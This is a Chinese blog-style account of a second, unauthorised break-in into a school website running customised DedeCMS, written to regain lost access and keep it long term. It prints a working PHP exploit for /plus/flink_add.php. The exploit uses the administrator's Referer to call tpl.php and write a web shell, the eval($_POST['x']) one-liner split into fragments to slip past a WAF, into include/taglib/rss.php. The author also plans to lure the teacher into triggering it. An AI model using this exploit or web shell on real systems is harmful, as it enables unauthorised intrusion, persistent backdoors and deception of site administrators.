对学校的二次渗透之从提权到账号克隆

话说在上次对已经要去的学校进行渗透测试后，善良的我把洞丢给了老师。（网站出问题了，老师找到我身上，不得不给！！！）为此，我跟老师成为了快乐的好基友，以至于我的权限掉了，这让我非常不开心！于是乎，我又进行了二次的渗透，并且这次我准备长期维权！！

目标站：www.xxx.com//全程马赛克

Cms：二次开发 dedecms

版本：20140814 (在自己嘴残的情况下，把自己所知道的洞都给说出去了，然后补了。)

使用 nikto 等工具扫均未果，在准备丢 bugscan 的时候想起土司大佬的文章，于是乎就开干了！

漏洞文件地址：/plus/flink_add.php

并且 exp 也已经公布，但是经过我的提醒后老师可能装了360等 waf，我需要大致的修改下 exp。

Exp：

<?php

//print_r($_SERVER);

$referer = $_SERVER[‘HTTP_REFERER’];

$dede_login = str_replace(“friendlink_main.php”,””,$referer);//去掉friendlink_main.php，取得dede后台的路径

//拼接 exp

$muma='<‘.’?’.’p’.’h’.’p’.’ ‘.’$’.’a’.’ ‘.’=’.’ ‘.”’.’b’.”’.’;’.’ ‘.’$’.’b’.’ ‘.’=’.’ ‘.’P’.’O’.’S’.’T’.'[‘.”’.’x’.”’.’]’.’;’.’ ‘.’@’.’e’.’v’.’a’.’l’.'(‘.’$’.’$’.’a’.’)’.’;’.’ ‘.’?’.’>’;

$exp=’tpl.php?action=savetagfile&actiondo=addnewtag&content=’. $muma .’&filename=rss.php’;

$url = $dede_login.$exp;

//echo $url;

header(“location: “.$url);

// send mail coder

exit();

?>

这里可以看见 $muma 哪里的内容为 <?php @eval($_POST[‘x’]; )?> 然后用 ’.’分割开来的，按葫芦画瓢构造一个过 waf 的一句话即可：

ps：$muma = ‘<‘.’?’.’p’.’h’.’p’.’ ‘.’$’.’a’.’ ‘.’=’.’ ‘.”’.’b’.”’.’;’.’ ‘.’$’.’b’.’ ‘.’=’.’ ‘.’P’.’O’.’S’.’T’.'[‘.”’.’x’.”’.’]’.’;’.’ ‘.’@’.’e’.’v’.’a’.’l’.'(‘.’$’.’$’.’a’.’)’.’;’.’ ‘.’?’.’>’;

触发的时候会生成一个：include/taglib/rss.php

丢到一个站上准备套路老师（因为有写的权限，老师不会上当了。。。所以用小号还原下当时情况。）